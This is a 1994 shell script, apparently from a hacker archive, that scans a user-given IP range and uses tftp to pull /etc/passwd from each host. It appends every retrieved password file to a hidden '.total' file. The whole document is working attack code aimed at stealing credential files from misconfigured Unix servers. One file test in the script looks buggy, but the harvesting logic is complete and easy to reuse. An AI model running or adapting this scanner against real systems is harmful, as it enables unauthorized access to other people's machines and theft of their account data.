tftpoke.sh


# tftp poker, by ThePublic 1/94
#!/bin/sh
if [ $# != 6 ] ; then
  echo "six arguments expexted:"
  echo "usage:  $0 255 255 0 0 255 255"
  echo "where:  255.255.0.0 is the beginning address"
  echo "  and:  255.255.255.255 is the ending address"
  echo "        (first four are complete IP, last two replace ending two of first IP)"
  exit
fi
start1=$4; start2=$3; start3=$2; start4=$1; end1=$6; end2=$5
if [ $start2 -gt $end2 ] || [ $start1 -gt $end1 ] && [ $start2 -gt $end2 ]
then
  echo "beginning numbers must be LESS than ending numbers (duh)"
exit
fi
echo $start4.$start3.$start2.$start1-$start4.$start3.$end2.$end1
echo
while [ $start2 -le $end2 ] ; do
  while [ $start1 -le 255 ] ; do
    site=$start4.$start3.$start2.$start1
    echo -n "`date +'%x %X'` $site: "
    tftp $site << EOScan >> /dev/null
get /etc/passwd .$site.pw
quit
EOScan
    if [ -t $site.pw ] ; then
      echo --------------- >> .total
      echo $site >> .total
      cat .$site.pw >> .total
      echo file appended.
    else
      echo no file found.
    fi
    rm .$site.pw
    if [ $start2.$start1 = $end2.$end1 ] ; then break; fi
    start1=`expr $start1 + 1`
    if [ $start1 -ge 256 ] ; then start1=1; break; fi
  done
if [ $start2.$start1 = $end2.$end1 ] ; then break; fi
start2=`expr $start2 + 1`
if [ $start2 -ge 256 ] ; then break; fi
done
echo "`date +'%x %X'` scan complete."


Go BACK!